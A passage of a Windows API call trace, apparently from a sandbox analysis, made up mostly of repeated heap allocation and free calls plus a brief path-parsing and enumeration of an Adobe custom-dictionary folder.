| out: hHeap=0x5010000) returned 1 [0114.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0114.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.703] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.703] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.703] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.703] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.703] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.703] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.703] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.703] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.703] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.703] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.703] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.703] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.703] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.703] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.703] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.704] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.704] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.704] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.704] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.704] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.704] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.704] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.704] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.704] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.704] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.704] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.704] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.704] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.704] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.704] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0114.704] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.704] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.704] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.704] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.704] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.704] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.704] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.704] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.704] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.704] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.704] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.704] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.704] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.704] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.704] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.704] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.704] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.705] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.705] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.705] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.705] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.705] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.705] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.705] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.705] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.705] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.705] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.705] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.705] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.705] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.705] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.705] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.705] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.705] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.705] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.705] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.705] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.705] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.705] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.705] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.705] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.705] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.705] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.705] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.705] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.705] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.705] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.706] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.706] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.706] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.706] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.706] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.706] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.706] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.706] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.706] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\") returned="all\\" [0114.706] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da2f0 [0114.706] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.706] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0114.706] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0114.706] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109e30 [0114.706] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da2f0 | out: hHeap=0x5010000) returned 1 [0114.706] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0114.706] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0114.706] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109e30 | out: hHeap=0x5010000) returned 1 [0114.706] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0114.706] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a481c8 [0114.706] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0114.706] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.706] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0114.706] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a481c8 | out: hHeap=0x5010000) returned 1 [0114.706] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.706] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0114.706] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0114.706] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.706] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0114.706] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0114.706] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.706] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0114.707] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0114.707] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.707] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0114.707] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.707] PathFindFileNameW (pszPath="") returned="" [0114.707] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.707] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.708] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.708] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.708] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.708] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.708] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0114.708] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22e98 | out: hHeap=0x5010000) returned 1 [0114.708] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.708] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22e98 [0114.708] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.708] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.708] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.708] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.708] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.708] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.708] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.708] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.708] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.708] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.708] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.708] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.708] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.708] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.708] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.708] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.708] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.708] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.708] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.709] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.709] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.709] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.709] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.709] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.709] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.709] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.709] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.709] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.709] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.709] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.709] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.709] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.709] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.709] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.709] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.709] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.709] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.709] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.709] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.709] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.709] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.709] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.709] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.709] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.709] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.709] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.709] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.709] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.710] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.710] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.710] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.710] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.710] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.710] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.710] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.710] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.710] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.710] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.710] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: hHeap=0x5010000) returned 1 [0114.710] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a22928 [0114.710] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.710] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.710] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a22928 | out: 